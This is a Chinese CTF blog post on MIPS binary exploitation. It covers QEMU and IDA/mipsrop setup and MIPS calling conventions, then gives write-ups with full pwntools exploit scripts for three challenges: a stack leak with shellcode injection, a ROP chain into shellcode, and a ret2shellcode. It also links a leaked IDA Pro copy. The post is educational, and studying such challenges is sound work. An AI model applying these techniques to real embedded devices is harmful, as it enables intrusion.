71's blog

宏願縱未了 奮鬥總不太晚

0%

Note | MIPS工具&&入门题汇总

主要是汇编和调试方法要弄懂,做完这几个题应该也算入门了。感觉目前 ctf 中异构的 pwn 题以 arm 架构为主,mips 架构的比较少见,找到的题基本都是 hws 出的。题目囤了快半年,终于被我 pick 起来了😢 。之前卡住的原因主要出在工具上,前前后后踩了不少小白才会踩的坑,在复现前必须记录一下。

tools

分运行环境和逆向工具两部分。Buildroot 和 gdb-multiarch,应该有手就行。这里记录的都是我出过问题的工具。

MIPS运行环境

虚拟机是 x86 的平台,要运行 MIPS 指令集的程序就需要模拟运行环境。可以理解为虚拟机中的虚拟机 (? 原理是 Linux 的虚拟化技术: KVM是什么?一文带你快速了解Linux KVM 虚拟化 - Red Hat

目前用的最多的虚拟器就是 QEMU 吧。它工作的原理也好理解,就是仿真,通过动态的二进制转换在 x86 架构的系统上执行其他架构的程序。说到这不得不提,这个二进制转换并不只能是复杂指令集向精简指令集的转换的,反之也行。具体例子:给手机装Windows11!还能玩大型游戏?!_哔哩哔哩_bilibili

1
sudo apt install --install-suggests qemu

QEMU 有多个模式,最常见的是 qemu-user 和 qemu-system。顾名思义,qemu-user 是用户模式,用户一般只需运行程序,不需要接触到系统层面的配置。安装好后能在 /usr/bin/ 下找到不同架构的模拟运行程序,图中的这些都是 qemu-user ,用它可以在 x86 平台上直接运行对应架构的程序。“直接运行”,也就是实现了交叉编译和交叉侦错。qemu 的这些模拟器跟 arm-linux-gnueabihfaarch64-linux-gnu 这些交叉编译器相似,而且安装完后它们都是在 /usr 下的。

而 qemu-system 就是系统模式。模拟一个系统的运行包括镜像选择、网卡配置等用户模式设置不了的内容,它的运行相对也就多步骤些。需要目标架构的内核,模拟出目标系统后有用户名、密码,将程序上传到该系统执行、侦错就需要它能与 Linux 系统通信(也就是配置网卡、联网)… 这种情况下,异构的程序并非直接在 x86 上运行,而是在异构系统上运行,直接在 x86 上运行的是异构系统。

讲了这么多理解的部分,是因为我觉着先理解后使用挺重要的。刚学的时候直接复制粘贴就用,不清楚工具的本质,也分不清它们的区别。(以至于国赛的时候给了个名字陌生的 qemu-user 就不会用了emmm)轩哥的文章给了很多链接,也写的很详细,看完应该差不多了:QEMU使用记录 Clang裁缝店

MIPSROP

用的是支持 MIPS 反汇编的 IDA Pro 7.5,下载链接: VanHoevenTR/IDA_Pro_7.5: IDA Pro 7.5 leak

直接解析二进制文件的时候会报错:

1
...\ida\plugins\idapython3_64.dll) error: 找不到指定的模块

原因是 python 的版本不正确。此时我的是 3.8 版本的,查了下,需要的是 3.9 的。(安装 3.9 的时候可以顺便勾选自动添加 PATH 的选项,之后用 pip 安装的时候就不用再配置或者找到 python 的目录了。)

前面的链接里有个工具包 ida75sp3_python39_win.zip,用于配置 3.9 的环境。解压到 ida 根目录,全部覆盖,再运行 idapyswitch.exe 就可以了。不是 Windows 的可以下载对应版本:Python 3.9 support for IDA 7.5 – Hex Rays

之后运行报 cannot import name 'ida_shims' from 'shims' 的错,就是少了 shims 这个模块的意思。把
ida/plugins at master · tacnetsol/ida
的 shims 插件放进 plugins 目录下,或者用 install.py 把插件全下完也可以。到这一步基本上没什么报错了,也能进行 MIPS 的反汇编。除了这个 PowerPC Big Endian 的固件反汇编不出来: 基于 VxWorks 的嵌入式设备固件分析方法介绍 。正常来说下面这种 MIPS 的elf 是没问题的,so 这个 PowerPC Big Endian 的我决定复现完再去整。

前面的插件已经包括 mipsrop 。如果装好了的话能在 Edit -> Plugins 中看到。每次使用前需点击 Search -> mips rop gadgets 激活这个插件,idaPython 中 看到 MIPS ROP Finder activated就是可用状态了。使用命令可以输入 mipsrop.help()查看。

缓冲区溢出

题目来源:HWS赛题 入门 MIPS Pwnhttps://ctf.show/challenges。

重点关注 MIPS32 与 X86 架构下 函数调用与栈的不同之处。

32个通用寄存器表:

编号 寄存器名称 寄存器描述
$0 $zero 始终为0,用于辅助运算判断、创建伪指令等
$1 $at 保留寄存器,用作汇编器的暂时变量
$2、$3 $v0、$v1 values,子程序返回值/非浮点结果(不够用时用内存)
$4/5/6/7 $a0/1/2/3 aruments,函数的前四个参数(不够时用堆栈处理)
$8~$15 $t0/1/…/7 temporaries,计算时用的临时寄存器
$16~$23 $s0/1/…/7 saved values,保留现场
$24、$25 $t8、$t9 temporaries,补充前面的 $t0 ~ $t7
$26、$27 $k0、$k1 中断处理函数用于保存系统参数
$28 $gp global pointer,全局指针
$29 $sp stack pointer,堆栈指针,指向栈顶
$30 $fp frame pointer,保存栈指针(GNU)或$s8(SGI)
$31 $ra return address,返回地址
  • 返回地址:直接存入 $ra,不是堆栈。但嵌套调用的时候,被调函数1会先把原 $ra 的值压入堆栈,再进行下一次调用,此时 $ra 存放的是被调函数2的返回地址。

栈溢出漏洞的利用在叶子和非叶子函数间的主要区别就是,覆盖的是谁的返回地址。非叶子的情况和 x86 很像,比如上图的 B 函数,栈帧中存的是自己的返回地址(A),这时栈溢出能修改的就是它本身的返回地址。而像 C 这种叶子函数,本身的返回地址在 $ra 寄存器中,但payload足够长的话,能覆盖到 B 的栈帧,修改其父函数的返回地址。

Mplogin

mips-32-little

两种运行方式。一种是把题目提供的 so 文件放在本地的 /lib/ 下、直接运行,一种是用 qemu-user运行、需要指定lib路径(注意是lib文件夹,不是so文件)。前面说到异构程序的运行需要交叉编译的工具辅助,这里的第一种方式并没有用到,看来关键在动态链接库。

漏洞点在输入密码的函数中。可以覆盖到 Password 输入时的长度参数位置,从而输入Passsword 时有栈溢出,也就是第二个 read 的时候。程序什么保护都没开,直接往栈上写 shellcode 跳转过去就可以了。

栈地址怎么泄露呢。输密码之前还有一个函数,看栈帧的时候发现,输入的变量v1后面就是 $fp 和 $ra 的值。输出用的是 printf 函数,v1填满时就能泄露出来。这个函数是由 main 调用的,是叶子函数。因此 $ra 存的是main的地址,$fp存的是进入这个函数前的栈顶地址。

该函数执行完后栈空间会回收,栈顶变回进入前的地址,下次进入设置密码函数时的栈顶也是这里。因此泄露这个地址就相当于拿到了栈溢出漏洞函数的栈顶地址。我在调试的过程中发现,在ubuntu 16中运行程序,栈溢出泄露不出数据,换成18又可以了…… 当踩个坑吧,还不知道为何如此😰。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import*
context(arch='mips',endian='little',log_level='debug',binary=ELF('./Mplogin'))
p=process('./Mplogin')
# p=process(['qemu-mipsel', '-L', './','-g','2364', './Mplogin'])
elf = ELF("./Mplogin")

ru = lambda s: p.recvuntil(s)
rv = lambda s: p.recv(s)
rl = lambda : p.recvline()
sl = lambda s: p.sendline(s)
sd = lambda s: p.send(s)
it = lambda : p.interactive()

name='admin'
name=name.ljust(24,'a')
ru('Username :')
sd(name)

ru('adminaaaaaaaaaaaaaaaaaaa')
stack=u32(rv(4))
success(hex(stack))

py='access'
py=py.ljust(20,'a')
py+=p32(0x100)
ru('Pre_Password :')
sl(py)

pwd='0123456789'
pwd=pwd.ljust(40,'2')
pwd+=p32(stack)+asm(shellcraft.sh())
ru('Password :')
sl(pwd)

it()

pwn

mips-32-big

程序整体逻辑是:

  1. 输入组数,后创建 n 组大小为 0x24 的空间(栈上)。
  2. 输入n次 id 和用户名,在对应组的位置存储。

堆溢出和栈溢出(长度和id均未规定)漏洞都有。可以通过 memcpy 的溢出,覆盖到返回地址。由于堆溢出漏洞,可写入 0x300 的 payload,应该是足够长的。

先确定偏移吧。说下调试过程。

一开始用的是 gdb-multiarchtarget remote 后下断点,再 continue ,每次都报 L1_MAP_ADDR_SPACE_BITS 的错误或者断不下来。用 ida remote debug 应该可以。用移植到 ubuntu 上的 ida 会更好些,避免文件复制到 Windows 后符号链接丢失等问题。如果还是想在 qemu-user 的状态下进行尝试,还是能用 x86 的 gdb 调的:路由器漏洞利用入门- 简书 。但 cyclic 用起来很不方便,因为程序是用 qemu 运行的,因此要复制到脚本上再运行调试。其实直接看栈帧也可以算出来,用 gdb-multiarch remote 过去后,不下断点也能看到返回地址有没有被覆盖。

用户名经 strchr 函数返回后,把起始位置赋给 cur_i 。这里的输入位置与 $ra 的距离 就是 0x14+0x24+0x58=0x90

因为返回地址范围不合法,即使不下断点也能看出是否覆盖到了:

接下来就是写shellcode了。堆地址、栈地址、libc没有办法泄露,加上没有开启地址随机化,可以使用 rop gadget。利用 MIPSROP ,找到下面的这些 gadget。基本上都是 add $sp,(...) 后,储存在一个寄存器 A 中,再 jmp 到另一个寄存器 B 上执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
MIPS ROP Finder activated, found 842 controllable jumps between 0x00400000 and 0x004740A0
Python>mipsrop.stackfinder()
------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
------------------------------------------------------------------------------------------------------------
| 0x004273C4 | addiu $a2,$sp,0x70+var_C | jalr $s0 |
| 0x0042BCD0 | addiu $a2,$sp,0x88+var_C | jalr $s2 |
| 0x0042FA00 | addiu $v1,$sp,0x138+var_104 | jalr $s1 |
| 0x004491F8 | addiu $a2,$sp,0x44+var_C | jalr $s1 |
| 0x0044931C | addiu $v0,$sp,0x30+var_8 | jalr $s1 |
| 0x00449444 | addiu $a2,$sp,0x44+var_C | jalr $s1 |
| 0x0044AD58 | addiu $a1,$sp,0x60+var_28 | jalr $s4 |
| 0x0044AEFC | addiu $a1,$sp,0x64+var_28 | jalr $s5 |
| 0x0044B154 | addiu $a1,$sp,0x6C+var_38 | jalr $s2 |
| 0x0044B1EC | addiu $v0,$sp,0x6C+var_40 | jalr $s2 |
| 0x0044B3EC | addiu $v0,$sp,0x170+var_130 | jalr $s0 |
| 0x00454E94 | addiu $s7,$sp,0xB8+var_98 | jalr $s3 |
| 0x00465BEC | addiu $a1,$sp,0xC4+var_98 | jalr $s0 |
---------------------------------------------------------------------------------------------------------
Found 13 matching gadgets

显然 addiu 到寄存器 A 的内容是我们输入的、可控的,可以在这范围内写 shellcode。之后 jmp 到寄存器 B,就需要再 jmp 回来到 A 存储的位置执行 shellcode。比如上面的第一条 gadget ,$s0 的内容应该是 jmp $a2,第二条gadget的 $s2 应该是 jmp $a2。而这些 s 寄存器在 MIPS 中是用于 saved value 的,有保存现场就会有恢复现场,因此在每个函数末尾 return 的时候都会有 lw $s?,?+var_?($sp) 的操作。前面 loc_400a2c 的图就是这个 pwn 函数的返回步骤,可以看到 $s0~$s7全用上了,用 mipsrop 找到的 gadgets 都可用,可通过栈上的内容来控制 s寄存器的内容。从一个寄存器 jmp 到另一个寄存器,用的是临时寄存器,一般用 $t9:

1
2
3
4
5
6
Python>mipsrop.find("move $t9,$a2")
--------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
--------------------------------------------------------------------------------------------------------
| 0x00421684 | move $t9,$a2 | jr $a2 |
--------------------------------------------------------------------------------------------------------

算好 $s0 、$a2的位置就可以了。用其他 gadget 的话,改下offset就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import*
# from struct import pack
context(arch='mips',bits=32,endian='big',binary=ELF('./pwn2'))
p=process('./pwn2')
# p=process(['qemu-mips', '-g','2230', './pwn2'])
# rop = ROP(context.binary)
elf = ELF("./pwn2")

ru = lambda s: p.recvuntil(s)
rv = lambda s: p.recv(s)
rl = lambda : p.recvline()
sl = lambda s: p.sendline(s)
sd = lambda s: p.send(s)
it = lambda : p.interactive()

#$0 offset: $cur_i+0x58+0x14=$cur_i+0x6c
#shellcode offset: $sp+0x70+var_c=$sp+0x70-0x0c=$sp+0x64
jmp_a2=0x00421684#jr $a2
gadget=0x004273C4#jr $s0
shellcode=asm(shellcraft.sh())
# print(len(shellcode))#0x7c

ru('number:')
sl('1')
ru('.\' \n')
py='1:'+'a'*0x6c+p32(jmp_a2)+'a'*(0x90-0x6c-4)+p32(gadget)
py+='a'*0x64+shellcode+'.'
sl(py)
it()

顺便提一下,如果 ubuntu16 下的 shellcode 生成不了,可以检查下是不是 binutils 缺少 mips 架构版本的问题,正常来说应该是会返回一个 gnu 数组的。

1
2
3
>>> from pwn import*
>>> pwnlib.asm.dpkg_search_for_binutils('mips', 'as')
['binutils-mips-linux-gnu', 'binutils-mipsel-linux-gnu']

原因是 ubuntu 16 自带的 binutils 版本旧,安装下对应的 gnu 就可以了。或者用 ubuntu18 以上的版本。

1
apt-get install binutils-mips-linux-gnu

ctfshow 内部赛 babystack

mips-32-little

ret2shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import*
# from struct import pack
context(arch='mips',bits=32,endian='little',binary=ELF('./main'))
p=process('./main')
# p=process(['qemu-mipsel','-L','./','-g','2230', './main'])
# rop = ROP(context.binary)
elf = ELF("./main")

ru = lambda s: p.recvuntil(s)
rv = lambda s: p.recv(s)
rl = lambda : p.recvline()
sl = lambda s: p.sendline(s)
sd = lambda s: p.send(s)
it = lambda : p.interactive()

name=0x00410C20
shellcode=asm(shellcraft.sh())

ru('Name:')
sl(shellcode)
ru('message:')
sl('a'*0x34+p32(name))
it()